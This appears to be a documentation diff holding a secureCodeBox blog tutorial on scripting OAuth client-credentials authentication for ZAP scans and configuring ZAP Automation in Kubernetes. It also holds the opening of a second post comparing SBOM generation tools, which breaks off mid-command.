repository](https://github.com/zaproxy/community-scripts) provides an excellent starting point for finding a script that fits your needs. However, in some situations, there may not be a ready-made script for you, and you will have to write your own. In this blog post, we will develop such an authentication script from scratch, explaining the individual components and what they are doing. This is based on our understanding of the system, so, if you find any errors, feel free to point them out by [raising an issue in our GitHub repository](https://github.com/secureCodeBox/documentation), and we will be happy to fix it. + +For the purpose of this guide, we will assume that you are at least a little familiar with ZAP, and that you have already downloaded and installed the community scripts. If you haven't, you can either download and install the "Community Scripts"-Addon in ZAP, or download the repository and point ZAP at its location in the settings. + +### Creating A New Script + +First, you will have to open the ZAP scripting tab (it usually hides behind the green plus-sign, next to the "sites" menu). + +![ZAP Scripting Tab](/img/blog/2022-08-08-scriptingTab.png) + +There, create a new script. In this case, we will call it `KeycloakClientCredentials.js`. Select the script type "Authentication", with the Oracle Nashorn scripting engine, and the "Authentication script.js" template. + +![Creating a Script](/img/blog/2022-08-08-scriptCreation.png) + +You will be presented with a script template that looks something like this: +```javascript +// The authenticate function will be called for authentications made via ZAP. + +// The authenticate function is called whenever ZAP requires to authenticate, for a Context for which this script +// was selected as the Authentication Method. The function should send any messages that are required to do the authentication +// and should return a message with an authenticated response so the calling method. +// +// NOTE: Any message sent in the function should be obtained using the 'helper.prepareMessage()' method. +// +// Parameters: +// helper - a helper class providing useful methods: prepareMessage(), sendAndReceive(msg), getHttpSender() +// paramsValues - the values of the parameters configured in the Session Properties -> Authentication panel. +// The paramsValues is a map, having as keys the parameters names (as returned by the getRequiredParamsNames() +// and getOptionalParamsNames() functions below) +// credentials - an object containing the credentials values, as configured in the Session Properties -> Users panel. +// The credential values can be obtained via calls to the getParam(paramName) method. The param names are the ones +// returned by the getCredentialsParamsNames() below +function authenticate(helper, paramsValues, credentials) { + print("Authenticating via JavaScript script..."); + var msg = helper.prepareMessage(); + + // TODO: Process message to match the authentication needs + + // Configurations on how the messages are sent/handled: + // Set to follow redirects when sending messages (default is false). + // helper.getHttpSender().setFollowRedirect(true) + + // Send message without following redirects (overriding the option previously set). + // helper.sendAndReceive(msg, false) + + // Set the number of maximum redirects followed to 5 (default is 100). Main purpose is to prevent infinite loops. + // helper.getHttpSender().setMaxRedirects(5) + + // Allow circular redirects (default is not allow). Circular redirects happen when a request + // redirects to itself, or when a same request was already accessed in a chain of redirects. + // helper.getHttpSender().setAllowCircularRedirects(true) + + helper.sendAndReceive(msg); + + return msg; +} + +// This function is called during the script loading to obtain a list of the names of the required configuration parameters, +// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used +// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) +function getRequiredParamsNames(){ + return ["exampleTargetURL", "exampleField2"]; +} + +// This function is called during the script loading to obtain a list of the names of the optional configuration parameters, +// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used +// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) +function getOptionalParamsNames(){ + return ["exampleField3"]; +} + +// This function is called during the script loading to obtain a list of the names of the parameters that are required, +// as credentials, for each User configured corresponding to an Authentication using this script +function getCredentialsParamsNames(){ + return ["username", "password"]; +} + +// This optional function is called during the script loading to obtain the logged in indicator. +// NOTE: although optional this function must be implemented along with the function getLoggedOutIndicator(). +//function getLoggedInIndicator() { +// return "LoggedInIndicator"; +//} + +// This optional function is called during the script loading to obtain the logged out indicator. +// NOTE: although optional this function must be implemented along with the function getLoggedInIndicator(). +//function getLoggedOutIndicator() { +// return "LoggedOutIndicator"; +//} +``` + +This is the skeleton for your authentication script. There are four relevant functions: `authenticate`, `getRequiredParamsNames`, `getOptionalParamsNames` and `getCredentialsParamsNames`. We will begin with the latter three. + +### Declaring Parameters for the Script + +`getRequiredParamsNames`, `getOptionalParamsNames` and `getCredentialsParamsNames` define which parameters the script expects. These functions will usually be quite quick to fill out - our client credentials flow only has a very limited number of relevant parameters we need to pass in. The strings we define here will be used to label elements in the ZAP configuration UI, and also show up again when retrieving the parameters in the `authenticate` function. + +```javascript +// This function is called during the script loading to obtain a list of the names of the required configuration parameters, +// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used +// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) +// +// For the client-credentials flow, only the endpoint to which the authentication message needs to be sent has to be specified. +function getRequiredParamsNames(){ + return ["EndpointForAuthentication"]; +} + +// This function is called during the script loading to obtain a list of the names of the optional configuration parameters, +// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used +// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.) +// +// The client credentials flow does not require any optional parameters in our case. If the endpoint implements the optional +// "scope" parameter of the client credentials flow, it could be supported here. +function getOptionalParamsNames(){ + return []; +} + +// This function is called during the script loading to obtain a list of the names of the parameters that are required, +// as credentials, for each User configured corresponding to an Authentication using this script. +// +// The client credentials flow requires a client_id and client_secret, equivalent to a username and password. +function getCredentialsParamsNames(){ + return ["client_id", "client_secret"]; +} +``` + +With this, our script can be parameterized. However, we still need to teach it to perform the actual authentication. + +### Implementing the Authentication + +Now that the parameters are in place, we can implement the actual authentication functionality. In general, the authentication flow will always look something like this: + +1. Generate an HTTP request with the necessary information for authentication (pulling in script parameters as necessary) +2. Send the request and receive the response +3. (Repeat as necessary if more than one message is required for authentication) +4. Extract the necessary information and store it somewhere where other scripts can use it + +Keeping this in mind, a basic implementation of the client credentials flow could look like this: + +```javascript +// ZAP scripts use the protocol defined in JSR 223 (https://www.jcp.org/en/jsr/detail?id=223) to interface with the underlying +// Java code of ZAP. This means that we can access Java objects from within the JavaScript code. +// Here, we import the relevant Java types for later use. +var HttpRequestHeader = Java.type('org.parosproxy.paros.network.HttpRequestHeader'); +var HttpHeader = Java.type('org.parosproxy.paros.network.HttpHeader'); +var URI = Java.type('org.apache.commons.httpclient.URI'); +var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); + +// This authentication function implements the client credentials flow from OAuth 2.0. +// It is tested with a Keycloak backend, but should also work for other implementations, assuming +// they return a JWT in their response, inside the access_token attribute of a JSON object. +// If your server behaves differently, change the response parsing below. +// +// The behavior of this function is equivalent to the following curl command: +// curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "grant_type=client_credentials" --data-urlencode "client_id=<client_id>" --data-urlencode "client_secret=<client_secret>" <tokenendpoint> +// +// NOTE: Any message sent in the function should be obtained using the 'helper.prepareMessage()' method. +// +// Parameters: +// helper - a helper class providing useful methods: prepareMessage(), sendAndReceive(msg), getHttpSender() +// paramsValues - the values of the parameters configured in the Session Properties -> Authentication panel. +// The paramsValues is a map, having as keys the parameters names (as returned by the getRequiredParamsNames() +// and getOptionalParamsNames() functions below) +// credentials - an object containing the credentials values, as configured in the Session Properties -> Users panel. +// The credential values can be obtained via calls to the getParam(paramName) method. The param names are the ones +// returned by the getCredentialsParamsNames() below +function authenticate(helper, paramsValues, credentials) { + print("\nAuthenticating via JavaScript script..."); + + // Load the API endpoint against which we need to POST our request to authenticate + var endpoint = paramsValues.get("EndpointForAuthentication"); + print("\nAuth endpoint is " + endpoint); + + // Create a few Java objects that we will need later + // First, a URI for the endpoint + var requestUri = new URI(endpoint, false); + // Set the request method to POST... + var requestMethod = HttpRequestHeader.POST; + // ...and assemble the necessary requestHeader for the request + var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); + + // Prepare a message that we can later send using ZAP... + var msg = helper.prepareMessage(); + // ...and set the request headers on it + msg.setRequestHeader(requestHeader); + + // Load the client_id and client_secret from the script parameters + var client_id = credentials.getParam("client_id"); + var client_secret = credentials.getParam("client_secret") + print("Authenticate with client_id: " + client_id); + + // Assemble an OAuth 2.0 Client Credentials POST body, which basically consists of three parts: + // - the grant_type set to client_credentials + // - the client_id parameter and value + // - the client_secret parameter and value + msg.setRequestBody("grant_type=client_credentials&client_id=" + client_id + "&client_secret=" + client_secret); + // Set the correct content length in the message header + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + + // Send the message and receive the response + helper.sendAndReceive(msg); + + // Extract the response body as a string + // + // We're going to be pulling out the JWT and saving it into a global variable here. + // This will allow you to simply activate the "addBearerTokenHeader.js" HTTP sender + // script to authenticate all requests you are sending. + // + // If your setup requires more complex handling, you can remove most of the rest of + // this function and instead write a session script - it will get access to the + // message you return from this function, and you can extract the data and do + // things with it from there. + var response = msg.getResponseBody().toString(); + // Debug loggin the response + // TURN THIS OFF IF THE TOKEN IS SENSITIVE AND OTHERS MAY READ YOUR LOGS + print("\nResponse is: " + response); + // Parse the embedded JSON that is returned by the server + var json = JSON.parse(response); + + // The access token is contained in the returned object under the access_token key + var token = json.access_token; + // Debug statement + // TURN THIS OFF IF THE TOKEN IS SENSITIVE AND OTHERS MAY READ YOUR LOGS + print("\n Endpoint returned token: " + token); + + // Save the data to the access_token global variable (which is the one that is read + // by the AddBearerTokenHeader.js script) + ScriptVars.setGlobalVar("access_token", token); + + // Return the message, as that is what the API expects us to do. + return msg; +} +``` + +Save the resulting file by pressing the save icon at the top of the script explorer (the key combination CTRL+S does not save scripts in ZAP!). With that done, we can now start preparing the rest of ZAP. + +## Set Up ZAP to Use the Authentication Script + +To configure ZAP with authentication, you need to use a ZAP context. A context is basically a bundle of settings that applies to a specific set of URLs. If you start a new ZAP session, it will automatically create an empty, default context for you. It will show up at the top of the "Sites" tree, under "Contexts". If you double-click it, you will be able to change the settings for it. We will need to make adjustments in a few places: the included sites, authentication settings, and the user database. + +### Included Sites + +The list of sites included in the context determines which websites it is applied to. To find it, choose the "Include in Context" menu item and add the domain(s) you are testing. + +![Site Context](/img/blog/2022-08-08-scopeDefinition.png) + +### Authentication Settings + +Next, we need to tell ZAP about the authentication mechanism that is being used by the website or API. Navigate to the "Authentication" item, and choose "Script-based authentication" in the dropdown menu. Choose the script we just created and click "Load". This will load the script and expose the parameters we defined in the script. Enter the endpoint that is used for authentication in the system under test. + +![Authentication Settings](/img/blog/2022-08-08-authSettings.png) + +Below that, you will see the session verification settings. These are used by ZAP to determine if the session is still valid. If it turns out that the session is invalid, it will automatically repeat the authentication to obtain a new session. This can happen if you are testing an API that is using short-lived bearer tokens, or if your tests accidentally invalidate your session (for example, because a test navigated to the logout function). + +There is no general rule for how you should fill this out - it may be that in your situation, there is a convenient API endpoint that only works while you are logged in, and unequivocally tells you your login status (like loading your user profile). In that case, you can use the "Poll the Specified URL" setting, which will send periodic requests to that endpoint and match a regular expression against the response to figure out if your session is still valid. In other cases, you may be able to use a different verification function. ZAP has some guidance about this [in their documentation](https://www.zaproxy.org/docs/authentication/finding-a-verification-url/). + +### User Database + +Next, you need to tell ZAP about the user credentials it should use for authentication. Do so under the "Users" item in the context settings, and click "Add...". You will be prompted for the `client_id` and `client_secret`. Give the user a name, enter the details, and save it. Repeat as necessary if you have more than one user you want to use (e.g., when testing an API with role-based access control). + +![User Settings](/img/blog/2022-08-08-users.png) + +### Adding Authentication Information to Requests + +The final building block is a way to add the session information to the outgoing requests made by ZAP. For the purpose of this tutorial, we will assume that the system under test expects a JSON Web Token (JWT) in an Authorization header of the form `Authorization: Bearer $MY_TOKEN`. In that case, you can simply save and close the context settings, navigate back to the script explorer, and find the `AddBearerTokenHeader.js` script in the "HTTP Sender" category. Right-click the script and select "Enable Script(s)" to turn it on, which will be reflected with a green checkmark next to its icon. This script will pull the authentication token from a global variable called `access_token` - which is where our authentication script is saving it. + +With this, everything should be in place for a test run! + +## Testing + +To test the setup, you need to get ZAP to perform one or more network requests. The easiest way to do this is to use the Spider functionality of ZAP - simply right-click a (sub)page from a site inside the context and trigger a run of the spider. It should automatically use the configured authentication settings. You can then inspect the sent requests and responses as usual in ZAP to check if the bearer token is added correctly, and if the site is accepting or rejecting it. + +### Debugging + +If authentication fails, check the log of the authentication script by going to the scripting tab and selecting the script. Below the window that shows the source code, you can find the logs of the script. This can aid in debugging any issues you may encounter. When updating the script, hitting the save button should be enough to get ZAP to use the updated script (no need to load it again in the context settings). + +![ZAP Scripting Console](/img/blog/2022-08-08-scriptingConsole.png) + +### Forcing ZAP to Use Authentication for Everything + +In some situations, ZAP may not be using your authentication settings. In our testing, this seemed to occur most often when using the "Import an OpenAPI Definition from a URL" function. If this happens to you, you can try enabling the "force user mode" under Edit -> Enable Forced User Mode. This will tell ZAP to use the defined user for every request inside the context, no matter what. (NB: ensure that you set your scope correctly - a too-broad scope may result in your authentication token being sent to sites that should not receive it). The user that is used by the "forced user" mode can be configured in the context settings under "forced user", and defaults to the first user you created. + +![Forced User settings](/img/blog/2022-08-08-forcedUser.png) + +### Resending Requests + +ZAP will also use the session for requests you send manually, e.g. by using the repeater functionality for a previously-sent request. Regardless of the Authorization header you specify, ZAP will overwrite it with the session of the chosen user (if forced user mode is active). If you get a permission error on the first request, try sending it again - sometimes ZAP first has to create a new session because the old one has expired, and it will not automatically repeat the request in this case. + +## Using Authentication with the ZAP Automation Framework in the SecureCodeBox + +If you followed the guide, you should know how to set up authentication using the ZAP GUI. We now describe how to include authentication in a SecureCodeBox ZAP Automation scan. Adding authentication to your scan is done by modifying the ConfigMap that defines the scan parameters. Fortunately, the ZAP GUI allows for exporting a .yaml file, from which the necessary changes to the ConfigMap can be copied. +First, make sure that you have the ZAP Automation Framework Add-On installed in your ZAP GUI. Then, navigate to the Automation tab as shown in the image below. + +![Automation Framework Tab](/img/blog/2022-08-26-automationTab.PNG) + +Here, you press "Save Plan..." to create a .yaml file that includes the necessary configurations for SecureCodeBox to run your authentication script as part of a ZAP Automation scan. Your .yaml file will look similar to this example. + +![Example .yaml file](/img/blog/2022-08-26-authYaml.PNG) + +Copy everything under "authentication:" and paste it to the ConfigMap that defines your ZAP Automation scan parameters. Make sure to define the authentication configuration under the correct context and not as a job. + +```yaml +env: + contexts : + - name: "context name" + urls: + includePaths: + excludePaths: + authentication: # Include your authentication method here + ... +jobs: + ... +``` + +Additionally to script-based authentication, the ZAP Automation Framework supports manual, HTTP / NTLM, form-based, and JSON-based authentication, which can all be configured for use in a SecureCodeBox ZAP Automation scan. + +An example ConfigMap for a ZAP Automation scan may look like this: + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: "zap-automation-scan-config" +data: + 1-automation.yaml: |- + + env: # The environment, mandatory + contexts : # List of 1 or more contexts, mandatory + - name: test-config # Name to be used to refer to this context in other jobs, mandatory + urls: + - "https://.*.example.com" + includePaths: + - "https://.*.example.com/.*" + excludePaths: [] + authentication: + method: "script" + parameters: + script: "<PATH_TO_YOUR_SCRIPT_IN_THE_SCB_ENVIRONMENT>/KeycloakClientCredentials.js" + scriptEngine: "Oracle Nashorn" + EndpointForAuthentication: "https://example.com/v1/token" + verification: + method: "response" + loggedOutRegex: "(Unauthorized)|(token expired)" + pollFrequency: 60 + pollUnits: "requests" + pollUrl: "" + pollPostData: "" + sessionManagement: + method: "cookie" + parameters: {} + users: + - name: "internal-user" + credentials: + client_id: "user" + client_secret: "pass" + parameters: + failOnError: true # If set exit on an error + failOnWarning: false # If set exit on a warning + progressToStdout: true # If set will write job progress to stdout + + jobs: + - type: addOns # Add-on management + install: [pscanrulesAlpha, pscanrulesBeta] # A list of non standard add-ons to install from the ZAP Marketplace + - type: passiveScan-config # Passive scan configuration + parameters: + maxAlertsPerRule: 10 # Int: Maximum number of alerts to raise per rule + scanOnlyInScope: true # Bool: Only scan URLs in scope (recommended) + - type: spider # The traditional spider - fast but doesnt handle modern apps so well + parameters: + context: test-config # String: Name of the context to spider, default: first context + user: internal-user # String: An optional user to use for authentication, must be defined in the env + maxDuration: 2 # Int: The max time in minutes the spider will be allowed to run for, default: 0 unlimited + - type: spiderAjax # The ajax spider - slower than the spider but handles modern apps well + parameters: + context: test-config # String: Name of the context to spider, default: first context + maxDuration: 2 # Int: The max time in minutes the ajax spider will be allowed to run for, default: 0 unlimited + - type: passiveScan-wait # Passive scan wait for the passive scanner to finish + parameters: + maxDuration: 10 # Int: The max time to wait for the passive scanner, default: 0 unlimited + - type: report # Report generation + parameters: + template: traditional-xml # String: The template id, default : modern + reportDir: /home/securecodebox/ # String: The directory into which the report will be written + reportFile: zap-results # String: The report file name pattern, default: {{yyyy-MM-dd}}-ZAP-Report-[[site]] + risks: # List: The risks to include in this report, default all + - high + - medium + - low +``` + +For a complete overview of all the possible options you have for configuring a ZAP Automation scan, run +```bash ./zap.sh -cmd -autogenmax zap.yaml ```. Alternatively, have a look at the [official documentation](https://www.zaproxy.org/docs/desktop/addons/automation-framework/). + +### Credentials in ZAP Automation + +The ZAP Automation Scanner supports the use of secrets, as to not have hardcoded credentials in the scan definition. +Generate secrets using the credentials that will later be used in the scan for authentication: + +```bash +kubectl create secret generic unamesecret --from-literal='username=<USERNAME>' +kubectl create secret generic pwordsecret --from-literal='password=<PASSWORD>' +``` + +You can now include the secrets in the scan definition and reference them in the ConfigMap that defines the scan options. +The following defines two secrets for the use in JSON-based authentication. The secrets can be referenced in the ConfigMap via `${EMAIL}` and `${PASS}`. + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "zap-example-scan" +spec: + scanType: "zap-automation-scan" + parameters: + - "-host" + - "http://juiceshop.demo-targets.svc" + - "-autorun" + - "/home/securecodebox/scb-automation/2-automation.yaml" + volumeMounts: + - mountPath: /home/securecodebox/scb-automation/2-automation.yaml + name: zap-automation + subPath: 2-automation.yaml + volumes: + - name: zap-automation + configMap: + name: zap-automation-scan-config + env: + - name: EMAIL + valueFrom: + secretKeyRef: + name: unamesecret + key: username + - name: PASS + valueFrom: + secretKeyRef: + name: pwordsecret + key: password +``` + +## Conclusion + +With this, you should have everything you need to use a custom authentication script with ZAP in the secureCodeBox. +Done right, scripting can become an indispensible part of your workflows for automated security scans, and enable you to gain a significantly improved scan coverage for applications that require authentication. +To get you started, the [ZAP Community Scripts](https://github.com/zaproxy/community-scripts) repository contains a wide variety of scripts for different purposes, which illustrate the different ways scripting can be used, and which can serve as a template for your own scripting. +We can't wait to see what you will do with the combined power of ZAP scripting and the secureCodeBox! diff --git a/documentation/blog/2023-09-01-sbom-part-one-generation.md b/documentation/blog/2023-09-01-sbom-part-one-generation.md new file mode 100644 index 0000000000..f88ea7e106 --- /dev/null +++ b/documentation/blog/2023-09-01-sbom-part-one-generation.md @@ -0,0 +1,262 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: 'Developing an SBOM Workflow – Part 1: SBOM Generation' +author: Lukas Fischer +author_title: Core Developer +author_url: https://github.com/o1oo11oo +author_image_url: https://avatars.githubusercontent.com/u/1590475?v=4 +tags: + - secureCodeBox + - comparison + - SBOM + - CycloneDX + - SPDX + - Trivy + - Syft +description: We describe our plans to build an SBOM workflow for the secureCodeBox, including an SBOM tool comparison and interoperability troubles. This part treats the aspects of generating SBOMs. +image: /img/blog/2023-09-01-waterfall.jpg +--- + +![A burning log](/img/blog/2023-09-01-waterfall.jpg) + +Cover photo by [Mike Lewis HeadSmart Media](https://unsplash.com/@mikeanywhere) on [Unsplash](https://unsplash.com/photos/waAAaeC9hns). + +In [the previous blogpost](/blog/2022/01/18/log4shell) we described how to use scans to find infrastructure affected by _Log4Shell_, but wouldn't it be way more convenient to already have this information available? +_SBOMs_ promise to offer that convenience of only having to look up, where an affected dependency is used, and immediately being able to mitigate it. +This blog post details our plans to integrate an ___SBOM_ creation workflow__ into the _secureCodeBox_ and our troubles with using different tools for it. + +<!--truncate--> + +## What are SBOMs? + +_SBOMs_, or _Software Bills of Material_, are standardized and machine-readable __lists of components__ used in software. +While that would be pretty boring for monolithic applications without external dependencies, modern software often uses hundreds or even thousands of external dependencies, usually installed through the standard package ecosystem of that particular language. +With these kinds of applications, keeping track of what is used where could be as simple as checking the provided list of dependencies, i.e. `package-lock.json` or `Cargo.lock`. +_SBOMs_ __generalize__ this for applications of multiple ecosystems, multiple applications, whole containers or VMs. + +As mentioned, _SBOMs_ use standardized formats, [unfortunately with an emphasis on the plural-s of formats](https://xkcd.com/927/). +The two most prolific standards are [_Software Package Data Exchange (SPDX)_](https://spdx.dev/), developed as a Linux Foundation Project and maintained as an ISO standard, and [_CycloneDX_](https://cyclonedx.org/), developed as an [OWASP Foundation](https://owasp.org/) project. +Sometimes [Software Identification (SWID) Tags](https://csrc.nist.gov/projects/Software-Identification-SWID) are also regarded as a format of SBOMs, but their use is a bit different, and they are not well-supported by most tools that work with SBOMs. +There are some differences between _SPDX_ and _CycloneDX_ SBOMs, [documented here](https://docs.google.com/spreadsheets/d/1PIiSYLJHlt8djG5OoOYniy_I-J31UMhBKQ62UUBHKVA/edit). +They can still be converted, for example by using the [CycloneDX CLI](https://github.com/CycloneDX/cyclonedx-cli) or the [cdx2spdx](https://github.com/spdx/cdx2spdx) tool. + +## The Goal of This Endeavour + +Currently, the _secureCodeBox_ provides a great selection of scanners, to assess the security of your infrastructure. +If instead you want to achieve a detailed overview over the __composition of the infrastructure__, you currently have to reach for other tools. +With this change we intend to leverage the integrations and automations already present in the _secureCodeBox_, to simplify generating SBOMs for all the targets, that could up to now only be scanned for security flaws present at that moment. + +That is of course a very ambitious goal. +We intend to first release a minimum viable product of SBOM generation, aimed at a common use-case for the _secureCodeBox_: __container security__. +Combining SBOM creation for containers with the AutoDiscovery makes it a breeze to keep an up-to-date inventory over whole infrastructures. + +The following sections describe our search for a good tool to __create SBOMs__, the troubles when combining the created SBOMs with tools that __consume SBOMs__ and the detailed plan for the MVP implementation. + +## Possible Tools to Generate SBOMs + +Before deciding on a _format_ for the SBOMs, let's take a look at the possible _tools_ we could use to generate them. +The best option would be to generate SBOMs directly __at build-time__. +At that point, all the dependencies of an application are clearly defined and the compiler or some other build tool can simply export a list of them in any format. +Unfortunately, that will __not work__ for our use case, as we want to generate __SBOMs for containers__ that are already running. +Luckily there are tools that allow that as well. +To select a fitting one, the following criteria apply. + +### Tool Criteria + +- __Which targets__ can SBOMs be created for? Currently we want to support containers, but in the future other targets like files or VMs might be needed as well. +- How can the __containers be accessed__? Not all containers can just be pulled from Docker Hub, so support for private registries is often needed. +- Credential management, how can private registries be accessed? +- SBOM __formats__, are both SPDX and CycloneDX supported, or only one of them? +- SBOM __contents and quality__, does the tool find all dependencies and properly specifies them? +- __Support and ecosystem__ of the tool: widespread use, GitHub activity, documentation quality +- __License__, as we cannot integrate a commercial tool + +Of these criteria, checking the _quality_ of an SBOM is not that straightforward. +Confirming if all the dependencies of small demo applications are picked up is possible, but for containers the dependencies also include the OS packes and everything else that the container ships with. +SBOM quality will therefore also depend on the _interoperability_ with SBOM consuming tools. + +### SBOM Targets and Testing Environment + +To make the tests of the tools comparable, the same images were used as scan targets. +These images are intentionally insecure, so that there are components with known security vulnerabilities which can (and __should__) be found when analyzing the generated SBOMs. +The targets are: + +- [`bkimminich/juice-shop:v15.0.0`](https://hub.docker.com/r/bkimminich/juice-shop) +- [`trivy-ci-test`](https://github.com/aquasecurity/trivy-ci-test) +- [A simple .NET-based containerized app](https://github.com/o1oo11oo/test-docker-images/tree/main/dotnet-docker-test) +- [A simple Rust-based containerized app](https://github.com/o1oo11oo/test-docker-images/tree/main/rust-docker-test), using the [cargo auditable](https://github.com/rust-secure-code/cargo-auditable) format + +All tools were tested under macOS Ventura 13.5, or, if they did not (or not properly) support macOS, under Ubuntu 22.04. +Unless noted otherwise, the latest available version of the tools were tested. + +### Tool List + +The following list includes all the free and open source tools I looked at as possible integration for the _secureCodeBox_. +There is also a whole range of premium tools for SBOMs or even full software component analysis workflows, these are not listed here as they are not relevant for our goals. + +This list does not cover all details of the compared tools, when it became obvious one is not a good fit I stopped checking the remaining criteria. +It is also not an exhaustive list, there are chances a good tool is missing, just because it does not have the reach of the ones listed. +Now with that out of the way, here is the list. + +#### Trivy + +[Trivy](https://github.com/aquasecurity/trivy), the "all-in-one open source security scanner", which is [already integrated](/docs/scanners/trivy) as a scanner in the secureCodeBox, also supports creating SBOMs as one of its output types. +Trivy supports scanning a [wide variety of targets](https://aquasecurity.github.io/trivy/v0.44/docs/) and provides SBOM support for most of them. +Other than containers, file system paths, git repositories, or VMs, Trivy also supports generating SBOMs for whole Kubernetes clusters. +The containers can be accessed in many different ways, either through the local Docker Engine, containerd, Podman, direct access to the registry, and also through local files in tar or OCI format. +[Credentials](https://aquasecurity.github.io/trivy/v0.44/docs/advanced/private-registries/) can be supplied either through environment variables, parameters (not recommended because credentials will be readable in the process list and the shell history), in a configuration file or directly to Docker. +There is also support for the AWS, Google and Azure registries. + +Example commandline: +```bash +trivy image --format cyclonedx --output results-trivy-juiceshop-v15-cyclonedx.json bkimminich/juice-shop:v15.0.0 +``` + +SBOMs can be generated in either SPDX or CycloneDX formats. +When using CycloneDX, security scanning, which is disabled by default for SBOM outputs, can be reenabled, to include a list of security flaws already in the SBOM itself. +While interesting, it is unclear how useful this is, after all the secureCodeBox already supports [normal trivy container scans](https://www.securecodebox.io/docs/scanners/trivy/), which are integrated far better with the existing hooks. + +SBOM quality and content depends on the content of the container. +Trivy supports [many package ecosystems of different languages](https://aquasecurity.github.io/trivy/v0.44/docs/scanner/vulnerability/language/), but might miss applications or dependencies installed in unusual or hard to read ways. +To find the dependencies of Rust binaries for example, Trivy relies on the `Cargo.lock` file being available or the binaries including the dependency information in a linker section according to the [cargo auditable](https://github.com/rust-secure-code/cargo-auditable) format. +In tests with small containers, Trivy was able to reliably pick up dependencies of the main application and OS packages. +For each component and depending on the output format, Trivy tracks among others the name, version, [package url (purl)](https://github.com/package-url/purl-spec) and several custom properties. + +Trivy is actively maintained by [Aqua Security](https://www.aquasec.com/), has 18.2k Stars and 1.8k Forks [on GitHub](https://github.com/aquasecurity/trivy) and a very [extensive documentation](https://aquasecurity.github.io/trivy/v0.44/). +It is licensed under the Apache-2.0 license and used by GitLab for their [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) feature. + +#### Syft + +[Syft](https://github.com/anchore/syft) works very similar to Trivy when it comes to generating SBOMs. +It supports containers, filesystem paths, archives, "and more" although it is not specified what "and more" entails. +This means Trivy supports more targets, which might be interesting long term, but for now Syft is perfectly capable of generating SBOMs for our use case as well. +Syft also supports [many ways](https://github.com/anchore/syft#supported-sources) to access container images, other than direct registry access or through the Docker or Podman daemons, tar archives, OCI or SIF images or plain directories and files are supported. +[Credentials for private registries](https://github.com/anchore/syft#private-registry-authentication) can to be supplied as Docker `config.json`, which can also be shared as a Kubernetes secret. +More advanced options are available according to the [go-containerregistry docs](https://github.com/google/go-containerregistry/tree/main/pkg/authn). + +Example commandline: +```bash +syft bkimminich/juice-shop:v15.0.0 -o cyclonedx-json > results-syft-juiceshop-v15-cyclonedx.json +``` + +The list of supported [SBOM formats](https://github.com/anchore/syft#output-formats) is quite large, there is CycloneDX in xml or json, SPDX in tag-value or json, in version 2.3 or 2.2 and Syft's own format as json. +[Custom formats](https://github.com/anchore/syft#using-templates) can be defined using Go templates. + +Regarding the quality of the SBOMs, Syft also has support for [many language ecosystems](https://github.com/anchore/syft#default-cataloger-configuration-by-scan-type) and largely finds the same packages as Trivy. +The difference lies in the way the package details are populated. +Like Trivy, Syft includes name, version, package url and some custom properties, but also [Common Platform Enumerations (CPEs)](https://nvd.nist.gov/products/cpe). +This allows more options for matching packages against different databases. + +Syft is actively maintained by [Anchore](https://anchore.com/opensource/) and has 4.5k Stars and 412 Forks [on GitHub](https://github.com/anchore/syft). +The `README.md` file serves as documentation but covers a lot. +Syft is available under the Apache-2.0 license and provides the functionality of the [experimental `docker sbom` command](https://docs.docker.com/engine/sbom/). + +#### Tern + +[Tern](https://github.com/tern-tools/tern) is a Python-based tool for generating SBOMs for containers. +It uses [skopeo](https://github.com/containers/skopeo) to access container registries, but only supports Docker API compatible registries or querying the local Docker daemon. +So while Skopeo also supports loading tar archives, OCI images or plain directories, Tern does not use these features. +Skopeo also supports [private registries](https://github.com/containers/skopeo#authenticating-to-a-registry), but figuring out how to access that functionality through Tern might require some tinkering. +In addition, Tern can work with Dockerfiles directly, but requires a running Docker daemon to build the images. + +Example commandline: +```bash +tern report -f cyclonedxjson -i bkimminich/juice-shop:v15.0.0 -o results-tern-juiceshop-v15-cyclonedx.json +``` + +SBOM [format support](https://github.com/tern-tools/tern#report-formats) is pretty good, other than CycloneDX (json), SPDX (json and tag-value), custom yaml, html and json formats can be generated. + +Unfortunately, the generated SBOMs are quite lacking compared to the ones Trivy or Syft generate. +While Tern finds the distribution and OS packages of the Juice Shop container, not a single NodeJS/npm component is included in the output. +Other containers show similar results, only OS packages are listed. +This is pretty unhelpful for creating an inventory of the software running in one's container infrastructure. + +Tern is a ["tern-tools"](https://github.com/tern-tools) project with 884 Stars and 185 Forks [on GitHub](https://github.com/tern-tools/tern). +The most active maintainer is Rose Judge, an Open Source Engineer [at VMWare](https://blogs.vmware.com/opensource/author/rose-judge/). +The documentation is provided as Markdown documents in the [docs directory](https://github.com/tern-tools/tern/tree/main/docs), while general information can be found in the `README.md` file. +Tern is licensed under a BSD-2-Clause license. + +#### Microsoft SBOM Tool + +[In 2022](https://devblogs.microsoft.com/engineering-at-microsoft/microsoft-open-sources-software-bill-of-materials-sbom-generation-tool/), Microsoft released [their SBOM generation tool](https://github.com/microsoft/sbom-tool), aptly named "SBOM Tool". +According to `README.md` and [the commandline docs](https://github.com/microsoft/sbom-tool/blob/main/docs/sbom-tool-cli-reference.md) it can generate SBOMs for container images and supports several package ecosystems (through the [Component Detection](https://github.com/microsoft/component-detection) library). +Images seem to be accessed through the running Docker daemon (specifying sha256 hashes of local images with `-di sha256:<hash>` works), but there is no documentation about different usage options, other than specifying an image tag. + +Example commandline: +```bash +sbom-tool-linux-x64 generate -m . -pn JuiceShop -pv 15.0.0 -ps BKimminich -nsb https://owasp.org/www-project-juice-shop -di bkimminich/juice-shop:v15.0.0 